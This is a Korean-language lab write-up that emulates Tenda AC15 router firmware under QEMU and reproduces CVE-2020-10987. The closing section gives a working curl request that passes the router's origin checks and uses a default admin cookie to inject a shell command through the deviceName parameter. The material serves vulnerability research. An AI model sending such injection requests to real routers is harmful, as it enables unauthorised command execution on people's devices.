
Tenda AC15 라우터 펌웨어 재호스팅 및 원격 명령 실행 (CVE-2020-10987) 익스플로잇 재현에 대한 분석 보고서
이 글은 AC15 (V15.03.05.19) 펌웨어의 웹서버를 QEMU로 에뮬레이션하고, 호스트 브라우저에서 접근 가능하게 만든 후, 취약한 /goform/setUsbUnload 핸들러(CVE-2020-10987)를 실행하여 에뮬레이션된 rootfs 내에서 명령어 실행을 얻는 과정을 설명합니다.
squashfs 파일 시스템을 추출(또는 획득)하고 리버싱 시작먼저 펌웨어 이미지를 가져와야 합니다. AC15 V15.03.05.19에 대한 이미지 다운로드를 찾을 수 없었지만, 이미 추출된 squashfs 파일 시스템이 있는 GitHub 저장소를 찾을 수 있었습니다.
올바른 이미지 파일이 있었다면 binwalk를 사용하여 다음과 같이 추출할 수 있었을 것입니다.```
user@computer $ binwalk -e AC15_V15.03.05.19.bin
64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
user@computer $ cd _AC15_V15.03.05.19.bin.extracted
올바른 이미지 파일은 없지만 이미 파일 시스템이 추출된 저장소가 있으므로, 저장소를 복제하면 됩니다.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
VR라는 디렉토리를 만들고 이 리포지토리를 그 안에 클론했습니다. 제 rootfs는 $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs에 있습니다.
자, 이제 AC15 V15.03.05.19 펌웨어를 확보했습니다. 리버싱을 통해 내부를 살펴보겠습니다.
리버싱에는 Ghidra 11.4.2를 사용하겠습니다.
타겟 바이너리인 rootfs/bin/httpd로 이동하여 Ghidra에 로드합시다.
formsetUsbUnload 함수로 가면 다음을 볼 수 있습니다.```C
uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
FUN_0002c6cc(param_1,"{"errCode":0}");
FUN_0002cc14(param_1,200);
return;
이것이 취약점입니다. `deviceName` 매개변수가 `doSystemCmd`에 직접 전달되어 원하는 명령을 보낼 수 있습니다.
이제 원래 라우터 하드웨어가 아닌 qemu를 사용하여 이 펌웨어를 재호스팅할 예정이므로 일부 프로그램이 존재하지 않는 장치에 접근하려고 시도하여 시작이 중단될 것입니다.
우리의 목표는 웹서버(`httpd`)를 익스플로잇하는 것이므로 전체 시작(`/rootfs/etc_ro/init.d/rcS`)이 아닌 해당 바이너리 재호스팅에만 집중했습니다. _돌이켜보면 이것이 옳은 선택이었는지 확신할 수 없습니다._
그래서 `rcS`를 살펴볼 때 `rcS`가 수행하는 작업 중 `httpd`가 필요로 하는 것이 무엇인지 찾고 싶었습니다. 파일의 끝 부분에서 다음을 볼 수 있습니다:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
rcS는 나머지 스택이 시작되기 직전에 cfmd를 백그라운드에서 시작합니다.
더 많은 연구와 취약한 함수가 명령을 전송하는 방식을 살펴본 결과, 다음과 같은 결론에 도달했습니다.
httpd는 cfm post를 생성합니다.cfm 클라이언트는 UNIX 도메인 소켓(예: /var/cfm_socket)을 통해 cfmd와 통신합니다.cfmd의 InitServer 루틴에서 다음을 볼 수 있습니다.```C
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);
UIX 소켓을 생성하고 수신 대기합니다.
전체적인 작동 방식은 핸들러가 각 클라이언트로부터 고정된 0x7e0바이트 프레임을 읽는 것입니다 (`RecvMsg`/`SendMsg`). 처음 4바이트는 명령 코드이며, 그 다음에는 512바이트 키 버퍼와 1500바이트 값 버퍼가 있습니다 (핸들러에서 스택 객체 크기를 볼 수 있습니다). opcode에 따라 분기하여 ACK 코드로 응답합니다:
- `2` -> 가져오기: `GetCfmValue(key, value)` 그런 다음 응답 코드 `3`
- `0` -> 설정: `SetCfmValue(key, value)` 그런 다음 응답 코드 `1`
- `0x11` -> 해제: `UnSetCfmValue(key)` 그런 다음 응답 코드 `0x12`
- `10` -> 커밋: `SaveCfm2Flash()` 그런 다음 `0x10` (성공) 또는 `0xB` (오류) 응답
따라서 `cfmd`를 에뮬레이트하기 위해 간단한 스크립트 `cfm_stub`를 만들었습니다.```C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define SOCK_PATH "/var/cfm_socket"
// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
if (s < 0) { perror("socket"); return 1; }
unlink(SOCK_PATH);
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
if (listen(s, 5) < 0) { perror("listen"); return 1; }
for (;;) {
int c = accept(s, NULL, NULL);
if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
if (n > 0) {
// In some builds httpd asks for "lan.webiplansslen" etc.
// Any non-empty reply that looks like an IP keeps init happy.
const char *reply = "192.168.0.1";
write(c, reply, strlen(reply));
}
close(c);
}
close(s);
return 0;
}
다음 부분 이후에 이것을 컴파일하는 방법을 보여드리겠습니다.
다음 헬퍼 파일은 hooks.so입니다. httpd와 cfm에서 사용되는 몇몇 함수들이 존재하지 않는 하드웨어와 상호작용하려고 시도합니다.
다음은 프로그램이 시작할 때 가정하는 사항입니다.
/dev/nvram)가 존재하며 적절한 기본값을 반환합니다.다음 함수들이 문제가 되므로 LD_PRELOAD=/hooks.so로 패치해야 합니다.
get_flash_type() -> 4를 반환하면 코드는 파일 기반 경로(cfm_file_init)를 사용하고, 그렇지 않으면 MTD와 통신을 시도합니다 (이 MTD는 없습니다).get_cfm_blk_size_from_cache() (또는 변형 j_get_cfm_blk_size_from_cache)는 설정 블록 크기 계산에 사용됩니다.bcm_nvram_get) 호출은 실패해서는 안 됩니다. 그렇지 않으면 스택이 "NVRAM 파괴됨"으로 인식하고 복원/재부팅 로직으로 진행합니다.load_l7setting_file() 및 restore_power()와 같은 추가 루틴은 성공할 것으로 예상되지만 존재하지 않는 하드웨어/파일을 건드립니다.다음은 hooks.c입니다. 원본은 azeria-labs에 크레딧을 제공합니다.```C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }
int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }
int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }
int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }
char *bcm_nvram_get(char *key) { char *value = NULL;
if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }
printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }
이제 이 파일들을 컴파일하고 우리 펌웨어에 배치해 봅시다. 크로스 컴파일을 위해 Bootlin의 사전 구축된 uClibc 툴체인을 사용할 수 있습니다.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc
다음과 같은 내용을 보게 될 것입니다.```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib
이제 다음을 사용하여 컴파일할 수 있습니다```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c
그런 다음 마지막으로 이들을 펌웨어에 설치합니다.``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
## ARM 게스트 시스템 구축
qemu 풀 시스템을 사용하여 arm 게스트를 설정해 보겠습니다.
이 게스트 시스템을 위한 디렉토리를 `~/qsys`에 만들었습니다.
이제 이 디렉토리에서 다음을 수행하여 게스트를 설정합니다.```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf
sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage
cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF
sudo chroot ~/qsys/rootfs-armhf apt-get update
sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
ifupdown curl ca-certificates
sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'
이것은 armhf rootfs를 생성하고, 게스트를 업데이트하며, 기본 도구들을 설치한 다음, 루트 username:password를 root:root로 설정합니다.
다음으로 armhf kernal을 설치하려면```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp
그런 다음 커널을 복사하고 ext4 이미지를 빌드합니다.```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/
dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt
이제 게스트 시스템을 시작하려면
~/qsys에서 실행하세요```bash
qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw
시작 명령어의 각 줄이 실제로 의미하는 바를 간단히 설명하겠습니다.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Versatile Express A9 보드 모델 사용 (Debian의 armmp 커널이 지원하는 보드)
- `-kernel/-dtb/-initr` vexpress 디바이스 트리 블롭과 함께 이 보드의 Debian 커널/initrd 부팅
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` PL011 직렬 콘솔을 사용하는 표준 루트파일시스템 온 SD 설정.
- `-nographic -audiodev none,id=noaudio` 직렬 전용 UI (SDL 창 없음) 및 오디오 없음.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` QEMU 사용자 모드 NAT; `호스트:2222`를 `게스트:22`로, `호스트:8080`을 `게스트:80`으로 포워딩. 네트워킹에 중요합니다. 이에 대해서는 나중에 더 설명하겠습니다.
- `-device virtio-net-device,netdev=net0` `net0` 백엔드에 NIC 연결.
- `-drive file=./armhf.ext4,if=sd,format=raw` Debian 루트파일시스템이 SD 형태 블록 디바이스 (`/dev/mmcblk0`)에 위치.
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` `fw` 태그를 사용하여 9p를 통해 펌웨어 루트파일시스템(읽기 전용)을 게스트에 노출. `/firmware`에 마운트하고 그 위에 overlayfs를 씌워 쓰기 가능하게 합니다.
이제 게스트 시스템 내에서 약간의 오류가 발생할 수 있습니다. 로그인 프롬프트까지 도달하여 `root:root`로 로그인할 수 있으면 괜찮습니다.
다음으로 게스트 시스템에서 인터넷을 사용하려면 다음을 실행하십시오.```
dhclient -v eth0 || udhcpc -i eth0
이것은 eth0에서 DHCP 임대를 얻을 것입니다
이제 socat을 설치하십시오``` apt-get update && apt-get install -y socat
## 부트 스크립트
다음으로 게스트의 루트 디렉터리 안에 부트 스크립트를 생성해 보겠습니다.```bash
nano boot_tenda.sh
다음은 게스트 내부의 /root/boot_tenda_sh 부트 스크립트로, 각 단계를 설명하는 주석이 포함되어 있습니다.```bash
set -e
mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw
mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp
ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
pidof syslogd >/dev/null || syslogd
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
if command -v socat >/dev/null; then
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 &
else
echo "socat not found"
fi
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true
이제 실행할 시간입니다```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
포트 80에서 httpd 리스너가 보여야 합니다.
확인을 위해 호스트에서 http://127.0.0.1:8080/로 이동하면 라우터의 홈페이지를 볼 수 있습니다.
네트워킹 작동 방식에 대해 더 알아보고 싶다면 계속 읽으십시오. 그렇지 않으면 웹 서버를 익스플로잇하는 마지막 섹션으로 건너뛸 수 있습니다.
게스트 내에서 라우터의 httpd를 로드하되, 서버가 여전히 라우터의 LAN IP(192.168.0.1)에 바인딩되어 있다고 믿는 상태에서 호스트 브라우저의 http://127.0.0.1:8080/에서 접근 가능하도록 해야 했습니다.
이를 가능하게 하는 세 가지 요소가 있습니다:
192.168.0.1의 br0)socat)시작 명령에서 다음을 지정할 때```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0
- `-netdev user,...`는 slirp(QEMU의 사용자 모드 NAT)를 활성화합니다: 게스트는 호스트에서 루트 브리지나 TAP 장치 없이 아웃바운드 인터넷(DHCP, DNS)을 사용할 수 있습니다.
- `hostfwd=tcp::2222-:22`는 호스트 포트 2222를 게스트 포트 22로 포워딩합니다.
- `hostfwd=tcp::8080-:80`는 호스트 포트 8080을 게스트 포트 80으로 포워딩합니다.
그런 다음 `eth0`에 대한 DHCP 임대를 받습니다. Slirp는 일반적으로 게스트에게 게이트웨이 `10.0.2.2`와 함께 `10.0.2.15`를 할당합니다.```bash
dhclient -v eth0 || udhcpc -i eth0
실제 펌웨어는 LAN 브리지 br0(192.168.0.1)에 바인딩될 것으로 예상합니다. 우리는 이를 재현합니다:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
- 바이너리(또는 해당 라이브러리)는 종종 인터페이스 이름(예: `lan_ifname=br0`)을 조회하며, 브리지 장치를 기대합니다.
- httpd를 `192.168.0.1`에 바인딩하면 동작/리디렉션(예: `http://192.168.0.1/main.html`로의 `302`)이 실제 장치와 동일하게 유지됩니다.
- 이 시점에서 httpd는 `192.168.0.1:80`에서만 수신 대기하며(게스트의 `eth0`에서는 수신하지 않습니다).
### 3. 브리지 hostfwd -> `socat`를 이용한 펌웨어 리스너
`host:8080` -> `guest:80`은 이미 QEMU에 의해 설정되어 있습니다. 하지만 `httpd`는 게스트의 `eth0:80`에서 수신 대기하지 않고 `192.168.0.1:80`에서 수신합니다. 따라서 게스트 내부에 작은 TCP 릴레이를 추가합니다:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &
여기는 전체 레이아웃입니다.``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)
## Exploit Time
웹 스택은 "goform" 엔드포인트를 일부 동일 출처/AJAX 검사와 "로그인" 쿠키 뒤에 보호합니다. UI JavaScript가 보내는 것과 동일한 헤더를 보내십시오:```bash
curl -v \
-H 'Host: 192.168.0.1' \
-H 'Origin: http://192.168.0.1' \
-H 'Referer: http://192.168.0.1/index.html' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'deviceName=$(touch /tmp/Hello_World)' \
http://127.0.0.1:8080/goform/setUsbUnload
이것이 정확히 무엇을 하나요?
Host/Origin/Referer/X-Requested-With는 핸들러의 AJAX + 동일 출처 검사를 통과합니다.Cookie: user=admin; password=<md5>는 로그인된 세션을 시뮬레이션합니다. 이 경우 md5("admin") = 21232f297a57a5a743894a0e4a801fc3을 사용했습니다.deviceName=$(touch /tmp/Hello_World)는 실행하려는 명령으로 장치 이름을 설정합니다. 이 경우 /tmp/Hello_World 파일을 생성하고 있습니다.
참고 이 명령을 실행하면 잠시 동안 멈춘 후 대부분 오류와 함께 연결이 종료될 가능성이 높습니다. 이는 정상이며 작동했음을 증명합니다.다음으로 게스트 내에서 추가로 확인하기 위해 새 파일의 존재 여부를 확인할 수 있습니다.```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"
다음을 볼 수 있어야 합니다.```
-rw-r--r-- 1 root root 0 ... /tmp/Hello_World
success it worked!
우리는 보낸 명령을 실행하여 재호스팅된 라우터를 성공적으로 악용했습니다.